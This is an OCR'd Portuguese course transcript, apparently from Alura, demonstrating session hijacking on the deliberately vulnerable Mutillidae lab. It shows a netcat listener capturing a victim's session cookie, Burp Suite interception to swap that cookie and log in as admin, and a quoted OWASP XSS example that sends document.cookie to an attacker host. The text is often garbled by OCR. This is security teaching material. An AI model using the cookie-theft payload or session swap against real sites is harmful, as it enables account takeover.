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Sequestro de sessao com burp

Transcricao

Ja realizamos o sequestro de sessdo da vitima. Agora, vamos trocar aquela que estd na maquina pela sessdo recém

descoberta do usudrio:

root@kali: ~
File Edit View Search Terminal Help
:~# nc -lvp 80
listening on [any] 80 ...
connect to [192.168.1.39] from DESKTOP-N6QH54S.home [192.168.1.33] 50872

GET /?showhints=1;%20PHPSESSID={ Qe NUNCIISIIEFEPIEIRLA® ; s20acopendivids=swingset, jotto, phpbb2, redmine;%20acgroupswithper

sist=nada HTTP/1.1
Host: 192.168.1.39
Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36

Accept: image/webp,image/*,*/*;q=0.8

Referer: http://192.168.1.37/mutillidae/index.php?page=add-to-your-blog.php
Accept-Encoding: gzip, deflate, sdch

Accept-Language: pt-BR,pt;g=0.8,en-US;q=0.6,en;q=0.4

#I

Para efetivar esse procedimento, pediremos ajuda ao Burp Suite. Primeiro, é preciso configurar o browser para enviar

informacdes ao Burp. Para isso, clicaremos no icone das trés linhas que fica no menu do navegador do Firefox e

seguimos por:

"Preferences > Advanced > Network > Settings"

Na janela que serd aberta, alteraremos "No proxy" para "Manual proxy configurations" e no campo "HTTP Proxy"

preenchemos o niumero IP do localhost e a "Port" colocamos como 8080:
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Connection Settings

Configure Proxies to Access the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings
@ Manual proxy configuration:
HTTP Proxy: | 127.0.0.1 Port:

Use this proxy server for all protocols

SSL Proxy: Port:
ETP Proxy: Port:
SOCKS Host; Port;

SOCKS v4 @ SOCKS v5 [ | Remote DNS
No Proxy for:

localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24

Automatic proxy configuration URL:

Do not prompt for authentication if password is saved

Help Cancel

Com as configuracGes prontas, o préoximo passo sera abrir o Burp Suite e configura-lo para interceptar as requisigoes.

Seguimos por: "Target > Scope > Add".
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Inserimos a URL que desejamos que seja interceptada, referente ao site do Multillidae: http//:192.168.1.37 .

Lembrando que o IP que aparece para nés pode ser diferente do que aparece na sua casa.

Add URL to include in scope (]

Speafy a regular expression to match each URL component, or leave blank to
match any tem. An P range can be spedfied nstead of a hostname.

Protocek l Any |l]

Host or IP range: | hetp192.168 137 |

Part Enter regex or leave blank

Pase L o) oo

Feita a configuracdo do endereco que deve ser interceptado podemos deixar momentaneamente o modo de interceptar

desativado. Para isso, vamos em "Proxy" e clicaremos em cima do bot&o de interceptar até que ele fique "Intercept is

off".

Verificaremos o que ocorre se acessarmos o site como usudrio comum antes de continuar. Entramos no site e criamos

um login, nome de usudario "Rafael" e senha "alura". Com o login criado, acessaremos o site e logo em seguida damos um

logout. Temos a seguinte URL:

<img src="0s ataques de Cross Site Scripting sao muito comuns. As empresas muitas vezes desconhecem a severidade e

o impacto que isso pode representar para elas.

Essa é uma das vulnerabilidades que constam no ranking da OWASP, disponivel aqui.

Home
About OWASP

Acknowledgements

Advertising
AppSec Events
Books

Brand Resources
Chapters

Donate to OWASP
Downloads
Funding
Governance
Initiatives

Mailing Lists
Membership
Merchandise
Mews
Community portal
Presentations
Press

Projects

Video

Page  Discussion

& Login Requestaccount

Read View source View history |Search Q

Top 10 2013-Top 10

2013 Table of Contents

+— Risk . Al-njection —
2013 Top 10 List
Al-njection Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or
J query. The attacker's hostile data can frick the interpreter into executing unintended commands or accessing data without proper
authorization.
R

A2-Breken

Authentication and
Session Management

Application functions related fo authentication and session management are often not implemented correctly, allowing atiackers to
compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.

- A

A3-Cross-Site Scripting
(XSS)

XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping.
XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to
malicious sites.

Ad-Insecure Direct
Object References

or database key. Without an access control check or other protection, attackers can manipulate these references to access

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory.
unauthorized data.

— O

Clicando no Cross Site Scripting, sera aberta uma nova pagina:
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2013 Top 10 List

Threat Agents Attack Vectors Security Weakness Technical Impacts | Business Impacts
L ) Exploitability Impact Application / Business
Application Specific )
AVERAGE MODERATE Specific
Consider anyone who can  |Attacker sends text-based  [XSS is the most prevalent web application security flaw.  |Attackers can execute onskieninelbisinessyalue
send untrusted data fo the  |attack scripts that exploit the [XSS flaws occur when an application includes user scripts in a victim's browser |OF I€ affected system and
system, including external  |interpreter in the browser.  |supplied data in a page sent to the browser without to hijack user sessions, allthe data it processes.
users, internal users, and  |Almost any source of data  |properly validating or escaping that content. There are  |deface web sites, insert Also consider the business
administrators. can be an attack vector, two different types of XSS flaws: 1) Stored and 2) hostile content, redirect impact of public exposure of
including internal sources  |Reflecied. and each of these can occur on the a) Server |users. hijack the user's the vulnerability.
|J\\5 such as data from the or b) on the Client. browser using malware, etc.
database. Detection of most Server XSS flaws is fairly easy via
testing or code analysis. Client XSS is very difficult to
identify.

Esta pagina indica como a vulnerabilidade é explorada e como podemos fazer a prevencéo a ataques desse género. Por

exemplo, verificar se tags estdo abertas, se existe a palavra script naquilo que o usudrio esta tentando inserir, etc.

Mais abaixo podemos verificar exemplos de ataques:

Example Attack Scenarios References

The application uses untrusted data in the construction of the following HTML snippet | | OWASP
without validation or escaping:

Types of Cross-Site Scripting

OWASP XSS Prevention Cheat Sheet

OWASP DOM based XSS Prevention Cheat Sheet
COWASP Cross-Site Scripting Article

1
| {String) page += "<input name='creditcard' type="TEXT'
'

ivalue='" + request.getParameter("CC"} + "'>";
1

fT T TTTTT T T TT T T TT T T oo oo T m T ) s ESAP| Encoder API@
The attacker modifies the 'CC' parameter in their browser to: ) ;
e . « ASVS: Output Encoding/Escaping Requirements (VE)

OWASP AntiSamy: Sanitization Library

Testing Guide: 1st 3 Chapters on Data Validation Testing
OWASP Code Review Guide: Chapter on XSS Review
OWASP XSS Filter Evasion Cheat Sheet

1
| '>¢script>document. location= "http://www.attacker.com

1
1
| '
1 /fegi-bin/cookie.cgi ?foo='+document.cookie</script>'. 1
[ '

This causes the victim's session ID to be sent to the attacker’'s website, allowing the
attacker to hijack the user's current session. External

Note that attackers can also use XSS to defeat any automated CSRF defense the +« CWE Entry 79 on Cross-Site Scripting &@
application might employ. See A8 for info on CSRF.

Na mesma pagina sdo listadas algumas referéncias de links com informacdes sobre protegdo e prevencio a ataques.

Uma recomendacio é ler as documentacdes da OWASP para compreender como os ataques sdo realizados e como a

prevencgdo pode ser feita.
Podemos retornar ao Burp e ligar novamente o botdo de interceptar: Intercept is on.
Retornamos ao site do Multillidae, como usuario comum, e fazemos novamente o login. O Burp ja avisa que somos

interceptados e o que ele nos mostra é o nimero de sessdo da vitima. Com esse numero capturado podemos retornar ao

Burp e colar essa informacdo no seguinte local:
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para sair do modo tela cheia

Burp Intruder Repeater Window Help

Proxy | spider | Scanner | intruder | Repester | Sequences | Decoder | Comparer | Extender | Projct options | User options | alerts |
J Intarcapt ] HTTP history [ WebS ockets histary I Options 1

Intercapt s on Act - w = (2
Ram  Hex

GET /mutillidme/index. php HTTP/1.1 &
Host: 192.168 1 37

User-Agent: Mozilla/$. 0 (XL1; Linux x86 64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/htal,spplication/xhtnlexsl, spplication/xsl; qe0. 9, */*,qu0. 8

Accept -Language: en-US, en, q=0. 5

Accept -Enceding gzip, deflate

Cookie: showhints=1; PHPSESSID=06tsnmiceeS6]04a32h3n 7pt2

Connection: close

Feita a troca de sessdo, podemos pedir ao Burp para finalizar a requisi¢do. Pressionamos o botédo "Forward" e ao

retornarmos a pagina do Multillidae, verificaremos que estamos logados como admin

Mozilla Firefox e 0
§ hitp://192.../index.php x | &

€ 192.168.1.37

fi5 Most Visited v JfjOffensive Security *& Kali Linux [ Free illustration: Hack, .. "W Kali Docs "W Kali Tools EBExploit-DB W Aircrack-ng

e% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5crlpt Klddle) I {log

Home Logout Toggle Hints Show Popup Hints Toggle Security
Mutillidae: Deliberately Vulnerable Web Pen-Testing Applicatidn

d In Admin: admin (gOt r00t?)

Enforce SSL Reset DB View Log View Captured Data

Like Mutillidae? Check out how to help

Ou seja, obtivemos um 6timo resultado. Estamos logados no site, como admin sem sabermos nem sequer a senha do
usuario!

https://cursos.alura.com.br/course/seguranca-web-vulnerabilidades-do-seu-sistema/task/22425 4/4



